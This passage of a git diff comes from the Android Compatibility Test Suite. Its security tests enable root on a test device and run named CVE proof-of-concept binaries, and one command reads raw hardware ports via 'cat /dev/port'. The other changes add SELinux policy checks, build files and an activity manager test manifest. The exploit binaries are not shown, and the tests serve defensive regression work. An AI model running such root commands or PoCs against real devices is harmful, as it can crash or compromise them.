+          AdbUtils.runCommandLine("cat /dev/port", getDevice());
+        }
+    }
+
+    /**
+     *  b/34973477
+     */
+    @SecurityTest
+    public void testPocCVE_2017_0705() throws Exception {
+        enableAdbRoot(getDevice());
+        if(containsDriver(getDevice(), "/proc/net/psched")) {
+            AdbUtils.runPoc("CVE-2017-0705", getDevice(), 60);
+        }
+    }
+
+    /**
+     *  b/34126808
+     */
+    @SecurityTest
+    public void testPocCVE_2017_8263() throws Exception {
+        enableAdbRoot(getDevice());
+        if(containsDriver(getDevice(), "/dev/ashmem")) {
+            AdbUtils.runPoc("CVE-2017-8263", getDevice(), 60);
+        }
+    }
+
+    /**
+     *  b/32341313
+     */
+    @SecurityTest
+    public void testPocCVE_2017_8265() throws Exception {
+        enableAdbRoot(getDevice());
+        if(containsDriver(getDevice(), "/dev/video33")) {
+            AdbUtils.runPoc("CVE-2017-8265", getDevice(), 60);
+        }
+    }
+}
diff --git a/hostsidetests/security/src/android/security/cts/SELinuxHostTest.java b/hostsidetests/security/src/android/security/cts/SELinuxHostTest.java
index c18106d..cff9ef9 100644
--- a/hostsidetests/security/src/android/security/cts/SELinuxHostTest.java
+++ b/hostsidetests/security/src/android/security/cts/SELinuxHostTest.java
@@ -18,8 +18,8 @@
 
 import android.platform.test.annotations.RestrictedBuildTest;
 
+import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
 import com.android.compatibility.common.util.PropertyUtil;
-import com.android.cts.migration.MigrationHelper;
 import com.android.tradefed.build.IBuildInfo;
 import com.android.tradefed.device.CollectingOutputReceiver;
 import com.android.tradefed.device.DeviceNotAvailableException;
@@ -129,7 +129,8 @@
     @Override
     protected void setUp() throws Exception {
         super.setUp();
-        sepolicyAnalyze = MigrationHelper.getTestFile(mBuild, "sepolicy-analyze");
+        CompatibilityBuildHelper buildHelper = new CompatibilityBuildHelper(mBuild);
+        sepolicyAnalyze = buildHelper.getTestFile("sepolicy-analyze");
         sepolicyAnalyze.setExecutable(true);
 
         /* obtain sepolicy file from running device */
@@ -234,19 +235,25 @@
         }
     }
 
-    private boolean isFullTrebleDevice() throws Exception {
-        if (PropertyUtil.getFirstApiLevel(mDevice) > 25) {
-            return true;
-        }
-        return mDevice.getFileEntry("/system/etc/selinux/plat_sepolicy.cil") != null;
+    // NOTE: cts/tools/selinux depends on this method. Rename/change with caution.
+    /**
+     * Returns {@code true} if this device is required to be a full Treble device.
+     */
+    public static boolean isFullTrebleDevice(ITestDevice device)
+            throws DeviceNotAvailableException {
+        return PropertyUtil.getFirstApiLevel(device) > 25;
+    }
+
+    private boolean isFullTrebleDevice() throws DeviceNotAvailableException {
+        return isFullTrebleDevice(mDevice);
     }
 
     /**
      * Asserts that no vendor domains are exempted from the prohibition on Binder use.
      *
-     * <p>NOTE: There's no explicit CDD requirement for this because this is a temporary crutch
-     * during Android O development. This test will be removed before Android O.
-     * TODO(b/35870313): Remove this test once b/35870313 is fixed.
+     * <p>NOTE: binder_in_vendor_violators attribute is only there to help bring up Treble devices.
+     * It offers a convenient way to temporarily bypass the prohibition on Binder use in vendor
+     * domains. This attribute must not be used on production Treble devices.
      */
     public void testNoExemptionsForBinderInVendorBan() throws Exception {
         if (!isFullTrebleDevice()) {
@@ -263,6 +270,51 @@
     }
 
     /**
+     * Asserts that no domains are exempted from the prohibition on initiating socket communications
+     * between core and vendor domains.
+     *
+     * <p>NOTE: socket_between_core_and_vendor_violators attribute is only there to help bring up
+     * Treble devices. It offers a convenient way to temporarily bypass the prohibition on
+     * initiating socket communications between core and vendor domains. This attribute must not be
+     * used on production Treble devices.
+     */
+    public void testNoExemptionsForSocketsBetweenCoreAndVendorBan() throws Exception {
+        if (!isFullTrebleDevice()) {
+            return;
+        }
+
+        Set<String> types =
+                sepolicyAnalyzeGetTypesAssociatedWithAttribute(
+                        "socket_between_core_and_vendor_violators");
+        if (!types.isEmpty()) {
+            List<String> sortedTypes = new ArrayList<>(types);
+            Collections.sort(sortedTypes);
+            fail("Policy exempts domains from ban on socket communications between core and"
+                    + " vendor: " + sortedTypes);
+        }
+    }
+
+    /**
+     * Asserts that no vendor domains are exempted from the prohibition on directly
+     * executing binaries from /system.
+     * */
+    public void testNoExemptionsForVendorExecutingCore() throws Exception {
+        if (!isFullTrebleDevice()) {
+            return;
+        }
+
+        Set<String> types =
+                sepolicyAnalyzeGetTypesAssociatedWithAttribute(
+                        "vendor_executes_system_violators");
+        if (!types.isEmpty()) {
+            List<String> sortedTypes = new ArrayList<>(types);
+            Collections.sort(sortedTypes);
+            fail("Policy exempts vendor domains from ban on executing files in /system: "
+                    + sortedTypes);
+        }
+    }
+
+    /**
      * Tests that mlstrustedsubject does not include untrusted_app
      * and that mlstrustedobject does not include app_data_file.
      * This helps prevent circumventing the per-user isolation of
@@ -325,27 +377,6 @@
     }
 
     /**
-     * Asserts that the actual file contents are equal to the expected file
-     * contents.
-     *
-     * @param expectedFile
-     *  The file with the expected contents.
-     * @param actualFile
-     *  The actual file being checked.
-     */
-    private void assertFileEquals(File expectedFile, File actualFile) throws Exception {
-        BufferedReader expectedReader = new BufferedReader(new FileReader(expectedFile.getAbsolutePath()));
-        BufferedReader actualReader = new BufferedReader(new FileReader(actualFile.getAbsolutePath()));
-        String expectedLine, actualLine;
-        while ((expectedLine = expectedReader.readLine()) != null) {
-            actualLine = actualReader.readLine();
-            assertEquals("Lines do not match:", expectedLine, actualLine);
-        }
-        actualLine = actualReader.readLine();
-        assertTrue("Extra lines starting with: " + actualLine, (actualLine == null));
-    }
-
-    /**
      * Asserts that the actual file contents starts with the expected file
      * contents.
      *
@@ -382,7 +413,7 @@
         /* retrieve the AOSP seapp_contexts file from jar */
         aospSeappFile = copyResourceToTempFile("/plat_seapp_contexts");
 
-        assertFileEquals(aospSeappFile, devicePlatSeappFile);
+        assertFileStartsWith(aospSeappFile, devicePlatSeappFile);
     }
 
     /**
@@ -402,7 +433,7 @@
         devicePlatFcFile = File.createTempFile("file_contexts", ".tmp");
         devicePlatFcFile.deleteOnExit();
         if (!mDevice.pullFile("/system/etc/selinux/plat_file_contexts", devicePlatFcFile)) {
-            mDevice.pullFile("/file_contexts.bin", devicePlatFcFile);
+            mDevice.pullFile("/plat_file_contexts", devicePlatFcFile);
         }
 
         /* retrieve the AOSP file_contexts file from jar */
@@ -445,7 +476,7 @@
         // Android devices. See build script of this CTS module.
         aospPcFile = copyResourceToTempFile("/plat_property_contexts");
 
-        assertFileEquals(aospPcFile, devicePcFile);
+        assertFileStartsWith(aospPcFile, devicePcFile);
     }
 
     /**
@@ -467,7 +498,7 @@
         /* retrieve the AOSP service_contexts file from jar */
         aospSvcFile = copyResourceToTempFile("/plat_service_contexts");
 
-        assertFileEquals(aospSvcFile, deviceSvcFile);
+        assertFileStartsWith(aospSvcFile, deviceSvcFile);
     }
 
     /**
@@ -489,11 +520,12 @@
         deviceNonplatFcFile.deleteOnExit();
         if (mDevice.pullFile("/system/etc/selinux/plat_file_contexts", devicePlatFcFile)) {
             mDevice.pullFile("/vendor/etc/selinux/nonplat_file_contexts", deviceNonplatFcFile);
-            appendTo(devicePlatFcFile.getAbsolutePath(),
-                         deviceNonplatFcFile.getAbsolutePath());
         } else {
-            mDevice.pullFile("/file_contexts.bin", devicePlatFcFile);
+            mDevice.pullFile("/plat_file_contexts", devicePlatFcFile);
+            mDevice.pullFile("/nonplat_file_contexts", deviceNonplatFcFile);
         }
+        appendTo(devicePlatFcFile.getAbsolutePath(),
+                deviceNonplatFcFile.getAbsolutePath());
 
         /* run checkfc sepolicy file_contexts */
         ProcessBuilder pb = new ProcessBuilder(checkFc.getAbsolutePath(),
@@ -782,7 +814,7 @@
     /* Devices always have healthd */
     @CddTest(requirement="9.7")
     public void testHealthdDomain() throws DeviceNotAvailableException {
-        assertDomainOne("u:r:healthd:s0", "/sbin/healthd");
+        assertDomainOne("u:r:healthd:s0", "/system/bin/healthd");
     }
 
     /* Servicemanager is always there */
@@ -839,15 +871,6 @@
         assertDomainOne("u:r:system_server:s0", "system_server");
     }
 
-    /*
-     * Some OEMs do not use sdcardd so transient. Other OEMs have multiple sdcards
-     * so they run the daemon multiple times.
-     */
-    @CddTest(requirement="9.7")
-    public void testSdcarddDomain() throws DeviceNotAvailableException {
-        assertDomainHasExecutable("u:r:sdcardd:s0", "/system/bin/sdcard");
-    }
-
     /* Watchdogd may or may not be there */
     @CddTest(requirement="9.7")
     public void testWatchdogdDomain() throws DeviceNotAvailableException {
diff --git a/hostsidetests/security/src/android/security/cts/SecurityTestCase.java b/hostsidetests/security/src/android/security/cts/SecurityTestCase.java
index 5c84850..73adad4 100644
--- a/hostsidetests/security/src/android/security/cts/SecurityTestCase.java
+++ b/hostsidetests/security/src/android/security/cts/SecurityTestCase.java
@@ -16,21 +16,11 @@
 
 package android.security.cts;
 
-import com.android.tradefed.device.CollectingOutputReceiver;
 import com.android.tradefed.device.DeviceNotAvailableException;
 import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.device.NativeDevice;
 import com.android.tradefed.testtype.DeviceTestCase;
 
-import android.platform.test.annotations.RootPermissionTest;
-
-import java.io.BufferedOutputStream;
-import java.io.File;
-import java.io.FileOutputStream;
-import java.io.IOException;
-import java.io.InputStream;
-import java.io.OutputStream;
-import java.util.Scanner;
-
 public class SecurityTestCase extends DeviceTestCase {
 
     private long kernelStartTime;
@@ -49,18 +39,10 @@
     }
 
     /**
-     * Takes a device and runs a root command.  There is a more robust version implemented by
-     * NativeDevice, but due to some other changes it isnt trivially acessible, but I can get
-     * that implementation fairly easy if we think it is a better idea.
+     * Use {@link NativeDevice#enableAdbRoot()} internally.
      */
     public void enableAdbRoot(ITestDevice mDevice) throws DeviceNotAvailableException {
-        boolean isUserDebug =
-            "userdebug".equals(mDevice.executeShellCommand("getprop ro.build.type").trim());
-        if (!isUserDebug) {
-            //TODO(badash@): This would Noop once cl: ag/1594311 is in
-            return;
-        }
-        mDevice.executeAdbCommand("root");
+        mDevice.enableAdbRoot();
     }
 
     /**
@@ -86,6 +68,16 @@
                 Integer.parseInt(getDevice().executeShellCommand("cut -f1 -d. /proc/uptime").trim())
                     - kernelStartTime < 2));
         //TODO(badash@): add ability to catch runtime restart
-        getDevice().executeAdbCommand("unroot");
+        getDevice().disableAdbRoot();
     }
+
+    /**
+     * Runs an info disclosure
+     **/
+    public void infoDisclosure(
+        String pocName, ITestDevice device, int timeout, String pattern ) throws Exception {
+
+        assertTrue("Pattern found. Info Disclosed.",
+                    AdbUtils.detectInformationDisclosure(pocName, device, timeout, pattern));
+     }
 }
diff --git a/hostsidetests/services/activityandwindowmanager/Android.mk b/hostsidetests/services/activityandwindowmanager/Android.mk
new file mode 100644
index 0000000..178cb8a
--- /dev/null
+++ b/hostsidetests/services/activityandwindowmanager/Android.mk
@@ -0,0 +1,17 @@
+#
+# Copyright (C) 2015 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+
+include $(call all-subdir-makefiles)
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/Android.mk b/hostsidetests/services/activityandwindowmanager/activitymanager/Android.mk
new file mode 100644
index 0000000..3a50232
--- /dev/null
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/Android.mk
@@ -0,0 +1,38 @@
+# Copyright (C) 2015 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_MODULE_TAGS := optional
+
+# Must match the package name in CtsTestCaseList.mk
+LOCAL_MODULE := CtsServicesHostTestCases
+
+LOCAL_SRC_FILES := $(call all-java-files-under, src)
+
+LOCAL_JAVA_LIBRARIES := cts-tradefed tradefed
+LOCAL_STATIC_JAVA_LIBRARIES := cts-amwm-util  \
+     platform-test-annotations-host
+
+LOCAL_CTS_TEST_PACKAGE := android.server
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts
+
+include $(BUILD_CTS_HOST_JAVA_LIBRARY)
+
+# Build the test APKs using their own makefiles
+include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/AndroidTest.xml b/hostsidetests/services/activityandwindowmanager/activitymanager/AndroidTest.xml
new file mode 100644
index 0000000..9e394951
--- /dev/null
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/AndroidTest.xml
@@ -0,0 +1,30 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2015 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Config for CTS Sample host test cases">
+    <option name="config-descriptor:metadata" key="component" value="framework" />
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+        <option name="cleanup-apks" value="true" />
+        <option name="test-file-name" value="CtsDeviceServicesTestApp.apk" />
+        <option name="test-file-name" value="CtsDeviceServicesTestSecondApp.apk" />
+        <option name="test-file-name" value="CtsDeviceServicesTestThirdApp.apk" />
+        <option name="test-file-name" value="CtsDeviceDisplaySizeApp.apk" />
+        <option name="test-file-name" value="CtsDeviceTranslucentTestApp.apk" />
+    </target_preparer>
+    <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
+        <option name="jar" value="CtsServicesHostTestCases.jar" />
+        <option name="runtime-hint" value="4m7s" />
+    </test>
+</configuration>
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/Android.mk b/hostsidetests/services/activityandwindowmanager/activitymanager/app/Android.mk
new file mode 100644
index 0000000..2633c0a
--- /dev/null
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/app/Android.mk
@@ -0,0 +1,35 @@
+# Copyright (C) 2015 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+# Don't include this package in any target.
+LOCAL_MODULE_TAGS := tests
+
+LOCAL_STATIC_JAVA_LIBRARIES := \
+    android-support-v4 \
+
+LOCAL_SRC_FILES := $(call all-java-files-under, src) \
+                   ../../../../../apps/CtsVerifier/src/com/android/cts/verifier/vr/MockVrListenerService.java
+
+LOCAL_SDK_VERSION := test_current
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts
+
+LOCAL_PACKAGE_NAME := CtsDeviceServicesTestApp
+
+include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/AndroidManifest.xml b/hostsidetests/services/activityandwindowmanager/activitymanager/app/AndroidManifest.xml
new file mode 100755
index 0000000..c31aec8
--- /dev/null
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/app/AndroidManifest.xml
@@ -0,0 +1,370 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2015 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+          xmlns:androidprv="http://schemas.android.com/apk/prv/res/android"
+          package="android.server.cts">
+
+    <!-- virtual display test permissions -->
+    <uses-permission android:name="android.permission.CAPTURE_VIDEO_OUTPUT" />
+    <uses-permission android:name="android.permission.DISABLE_KEYGUARD" />
+    <uses-permission android:name="android.permission.BIND_VOICE_INTERACTION" />
+
+    <application>
+        <activity android:name=".TestActivity"
+                android:resizeableActivity="true"
+                android:supportsPictureInPicture="true"
+                android:exported="true"
+        />
+        <activity android:name=".TestActivityWithSameAffinity"
+                android:resizeableActivity="true"
+                android:supportsPictureInPicture="true"
+                android:exported="true"
+                android:taskAffinity="nobody.but.PipActivitySameAffinity"
+        />
+        <activity android:name=".TranslucentTestActivity"
+                android:resizeableActivity="true"
+                android:supportsPictureInPicture="true"
+                android:configChanges="orientation|screenSize|smallestScreenSize|screenLayout"
+                android:theme="@style/Theme.Transparent" />
+        <activity android:name=".VrTestActivity"
+                android:resizeableActivity="true"
+                android:exported="true"
+        />
+        <activity android:name=".ResumeWhilePausingActivity"
+                android:allowEmbedded="true"
+                android:resumeWhilePausing="true"
+                android:taskAffinity=""
+                android:exported="true"
+        />
+        <activity android:name=".ResizeableActivity"
+                android:resizeableActivity="true"
+                android:exported="true"
+                android:configChanges="orientation|screenSize|smallestScreenSize|screenLayout|colorMode|density"
+        />
+        <activity android:name=".NonResizeableActivity"
+                android:resizeableActivity="false"
+                android:exported="true"
+        />
+        <activity android:name=".DockedActivity"
+                android:resizeableActivity="true"
+                android:exported="true"
+                android:taskAffinity="nobody.but.DockedActivity"
+        />
+        <activity android:name=".TranslucentActivity"
+            android:theme="@android:style/Theme.Translucent.NoTitleBar"
+            android:resizeableActivity="true"
+            android:taskAffinity="nobody.but.TranslucentActivity"
+            android:exported="true"
+        />
+        <activity android:name=".DialogWhenLargeActivity"
+                android:exported="true"
+                android:theme="@android:style/Theme.DeviceDefault.Light.DialogWhenLarge"
+        />
+        <activity android:name=".NoRelaunchActivity"
+                android:resizeableActivity="true"
+                android:configChanges="orientation|screenSize|smallestScreenSize|screenLayout|fontScale"
+                android:exported="true"
+                android:taskAffinity="nobody.but.NoRelaunchActivity"
+        />
+        <activity android:name=".SlowCreateActivity"
+                android:resizeableActivity="true"
+                android:exported="true"
+        />
+        <activity android:name=".LaunchingActivity"
+                android:resizeableActivity="true"
+                android:exported="true"
+                android:taskAffinity="nobody.but.LaunchingActivity"
+        />
+        <activity android:name=".AltLaunchingActivity"
+                android:resizeableActivity="true"
+                android:exported="true"
+                android:taskAffinity="nobody.but.LaunchingActivity"
+        />
+        <activity android:name=".PipActivity"
+                android:resizeableActivity="false"
+                android:supportsPictureInPicture="true"
+                android:configChanges="orientation|screenSize|smallestScreenSize|screenLayout"
+                android:exported="true"
+                android:taskAffinity="nobody.but.PipActivity"
+        />
+        <activity android:name=".PipActivity2"
+                  android:resizeableActivity="false"
+                  android:supportsPictureInPicture="true"
+                  android:configChanges="orientation|screenSize|smallestScreenSize|screenLayout"
+                  android:exported="true"
+                  android:taskAffinity="nobody.but.PipActivity2"
+        />
+        <activity android:name=".PipOnStopActivity"
+                  android:resizeableActivity="false"
+                  android:supportsPictureInPicture="true"
+                  android:configChanges="orientation|screenSize|smallestScreenSize|screenLayout"
+                  android:exported="true"
+                  android:taskAffinity="nobody.but.PipOnStopActivity"
+        />
+        <activity android:name=".PipActivityWithSameAffinity"
+                  android:resizeableActivity="false"
+                  android:supportsPictureInPicture="true"
+                  android:configChanges="orientation|screenSize|smallestScreenSize|screenLayout"
+                  android:exported="true"
+                  android:taskAffinity="nobody.but.PipActivitySameAffinity"
+        />
+        <activity android:name=".AlwaysFocusablePipActivity"
+                  android:theme="@style/Theme.Transparent"
+                  android:resizeableActivity="false"
+                  android:supportsPictureInPicture="true"
+                  androidprv:alwaysFocusable="true"
+                  android:exported="true"
+                  android:taskAffinity="nobody.but.AlwaysFocusablePipActivity"
+        />
+        <activity android:name=".LaunchIntoPinnedStackPipActivity"
+                  android:resizeableActivity="false"
+                  android:supportsPictureInPicture="true"
+                  androidprv:alwaysFocusable="true"
+                  android:configChanges="orientation|screenSize|smallestScreenSize|screenLayout"
+                  android:exported="true"
+        />
+        <activity android:name=".LaunchPipOnPipActivity"
+                  android:resizeableActivity="false"
+                  android:supportsPictureInPicture="true"
+                  android:taskAffinity="nobody.but.LaunchPipOnPipActivity"
+                  android:configChanges="orientation|screenSize|smallestScreenSize|screenLayout"
+                  android:exported="true"
+        />
+        <activity android:name=".LaunchEnterPipActivity"
+                  android:resizeableActivity="false"
+                  android:supportsPictureInPicture="true"
+                  androidprv:alwaysFocusable="true"
+                  android:configChanges="orientation|screenSize|smallestScreenSize|screenLayout"
+                  android:exported="true"
+        />
+        <activity android:name=".FreeformActivity"
+                  android:resizeableActivity="true"
+                  android:taskAffinity="nobody.but.FreeformActivity"
+                  android:exported="true"
+        />
+        <activity android:name=".TopLeftLayoutActivity"
+                  android:resizeableActivity="true"
+                  android:configChanges="orientation|screenSize|smallestScreenSize|screenLayout"
+                  android:exported="true">
+                  <layout android:defaultWidth="240dp"
+                          android:defaultHeight="160dp"
+                          android:gravity="top|left"
+                          android:minWidth="100dp"
+                          android:minHeight="80dp"
+                  />
+        </activity>
+        <activity android:name=".TopRightLayoutActivity"
+                  android:resizeableActivity="true"
+                  android:configChanges="orientation|screenSize|smallestScreenSize|screenLayout"
+                  android:exported="true">
+                  <layout android:defaultWidth="25%"
+                          android:defaultHeight="35%"
+                          android:gravity="top|right"
+                          android:minWidth="90dp"
+                          android:minHeight="80dp"
+                  />
+        </activity>
+        <activity android:name=".BottomLeftLayoutActivity"
+                  android:resizeableActivity="true"
+                  android:configChanges="orientation|screenSize|smallestScreenSize|screenLayout"
+                  android:exported="true">
+                  <layout android:defaultWidth="25%"
+                          android:defaultHeight="35%"
+                          android:gravity="bottom|left"
+                          android:minWidth="90dp"
+                          android:minHeight="80dp"
+                  />
+        </activity>
+        <activity android:name=".BottomRightLayoutActivity"
+                  android:resizeableActivity="true"
+                  android:configChanges="orientation|screenSize|smallestScreenSize|screenLayout"
+                  android:exported="true">
+                  <layout android:defaultWidth="240dp"
+                          android:defaultHeight="160dp"
+                          android:gravity="bottom|right"
+                          android:minWidth="100dp"
+                          android:minHeight="80dp"
+                  />
+        </activity>
+        <activity android:name=".TurnScreenOnActivity"
+                  android:exported="true"
+        />
+        <activity android:name=".TurnScreenOnDismissKeyguardActivity"
+            android:exported="true"
+        />
+        <activity android:name=".SingleTaskActivity"
+            android:exported="true"
+            android:launchMode="singleTask"
+        />
+        <activity android:name=".SingleInstanceActivity"
+            android:exported="true"
+            android:launchMode="singleInstance"
+        />
+        <activity android:name=".TrampolineActivity"
+                  android:exported="true"
+                  android:theme="@android:style/Theme.NoDisplay"
+        />
+        <activity android:name=".BroadcastReceiverActivity"
+                  android:resizeableActivity="true"
+                  android:exported="true"
+        />
+        <activity-alias android:enabled="true"
+                android:exported="true"
+                android:name=".EntryPointAliasActivity"
+                android:targetActivity=".TrampolineActivity" >
+        </activity-alias>
+        <activity android:name=".BottomActivity"
+                  android:exported="true"
+                  android:theme="@style/NoPreview"
+        />
+        <activity android:name=".TopActivity"
+                  android:process=".top_process"
+                  android:exported="true"
+                  android:theme="@style/NoPreview"
+        />
+        <activity android:name=".TranslucentTopActivity"
+                  android:process=".top_process"
+                  android:exported="true"
+                  android:theme="@style/TranslucentTheme"
+        />
+        <activity android:name=".AnimationTestActivity"
+                  android:exported="true"
+        />
+        <activity android:name=".VirtualDisplayActivity"
+                  android:resizeableActivity="true"
+                  android:exported="true"
+                  android:configChanges="orientation|screenSize|smallestScreenSize|screenLayout"
+        />
+        <activity android:name=".ShowWhenLockedActivity"
+                  android:exported="true"
+        />
+        <activity android:name=".ShowWhenLockedWithDialogActivity"
+                  android:exported="true"
+        />
+        <activity android:name=".ShowWhenLockedDialogActivity"
+            android:exported="true"
+            android:theme="@android:style/Theme.Material.Dialog"
+        />
+        <activity android:name=".ShowWhenLockedTranslucentActivity"
+                  android:exported="true"
+                  android:theme="@android:style/Theme.Translucent"
+        />
+        <activity android:name=".DismissKeyguardActivity"
+                  android:exported="true"
+        />
+        <activity android:name=".DismissKeyguardMethodActivity"
+            android:exported="true"
+        />
+        <activity android:name=".WallpaperActivity"
+            android:exported="true"
+            android:theme="@style/WallpaperTheme"
+        />
+        <activity android:name=".KeyguardLockActivity"
+                  android:exported="true"
+        />
+        <activity android:name=".LogConfigurationActivity"
+            android:exported="true"
+            android:configChanges="orientation|screenSize|smallestScreenSize|screenLayout"
+        />
+        <activity android:name=".PortraitOrientationActivity"
+                  android:exported="true"
+                  android:screenOrientation="portrait"
+                  android:documentLaunchMode="always"
+        />
+        <activity android:name=".LandscapeOrientationActivity"
+                  android:exported="true"
+                  android:screenOrientation="landscape"
+                  android:documentLaunchMode="always"
+        />
+        <activity android:name=".MoveTaskToBackActivity"
+                  android:exported="true"
+                  android:launchMode="singleInstance"
+        />
+        <activity android:name=".FinishableActivity"
+                  android:exported="true"
+        />
+        <activity android:name=".NightModeActivity"
+                  android:exported="true"
+                  android:configChanges="uiMode"
+        />
+        <activity android:name=".FontScaleActivity"
+                  android:exported="true"
+        />
+        <activity android:name=".FontScaleNoRelaunchActivity"
+                  android:exported="true"
+                  android:configChanges="fontScale"
+        />
+        <receiver
+            android:name=".LaunchBroadcastReceiver"
+            android:enabled="true"
+            android:exported="true" >
+            <intent-filter>
+                <action android:name="android.server.cts.LAUNCH_BROADCAST_ACTION"/>
+            </intent-filter>
+        </receiver>
+
+        <activity android:name=".AssistantActivity"
+            android:exported="true" />
+        <activity android:name=".TranslucentAssistantActivity"
+            android:exported="true"
+            android:theme="@style/Theme.Transparent" />
+        <activity android:name=".LaunchAssistantActivityFromSession"
+            android:taskAffinity="nobody.but.LaunchAssistantActivityFromSession"
+            android:exported="true" />
+        <activity android:name=".LaunchAssistantActivityIntoAssistantStack"
+            android:taskAffinity="nobody.but.LaunchAssistantActivityIntoAssistantStack"
+            android:exported="true" />
+
+        <service android:name=".AssistantVoiceInteractionService"
+                 android:permission="android.permission.BIND_VOICE_INTERACTION"
+                 android:exported="true">
+            <meta-data android:name="android.voice_interaction"
+                       android:resource="@xml/interaction_service" />
+            <intent-filter>
+                <action android:name="android.service.voice.VoiceInteractionService" />
+            </intent-filter>
+        </service>
+
+        <service android:name=".AssistantVoiceInteractionSessionService"
+                 android:permission="android.permission.BIND_VOICE_INTERACTION"
+                 android:exported="true" />
+
+        <activity android:name=".SplashscreenActivity"
+            android:taskAffinity="nobody.but.SplashscreenActivity"
+            android:theme="@style/SplashscreenTheme"
+            android:exported="true" />
+
+
+        <activity android:name=".SwipeRefreshActivity"
+                  android:exported="true" />
+
+        <activity android:name=".NoHistoryActivity"
+                  android:noHistory="true"
+                  android:exported="true" />
+
+        <service android:name="com.android.cts.verifier.vr.MockVrListenerService"
+                 android:exported="true"
+                 android:enabled="true"
+                 android:permission="android.permission.BIND_VR_LISTENER_SERVICE">
+           <intent-filter>
+               <action android:name="android.service.vr.VrListenerService" />
+           </intent-filter>
+        </service>
+    </application>
+</manifest>
+
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/res/anim/animation_with_background.xml b/hostsidetests/services/activityandwindowmanager/activitymanager/app/res/anim/animation_with_background.xml
new file mode 100644
index 0000000..3391d53
--- /dev/null
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/app/res/anim/animation_with_background.xml
@@ -0,0 +1,26 @@
+<!--
+  ~ Copyright (C) 2016 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License
+  -->
+<!-- Duration is set higher than the wait for state checks (once per second) to avoid races to make
+     sure that the check occurs during the animation is running. -->
+<translate
+    xmlns:android="http://schemas.android.com/apk/res/android"
+    android:fromYDelta="100%" android:toYDelta="0"
+    android:interpolator="@android:interpolator/linear"
+    android:fillEnabled="true"
+    android:fillBefore="true" android:fillAfter="true"
+    android:duration="2000"
+    android:background="#ff0000">
+</translate>
\ No newline at end of file
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/res/layout/assistant.xml b/hostsidetests/services/activityandwindowmanager/activitymanager/app/res/layout/assistant.xml
new file mode 100644
index 0000000..3b10998
--- /dev/null
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/app/res/layout/assistant.xml
@@ -0,0 +1,27 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2017 The Android Open Source Project
+  ~
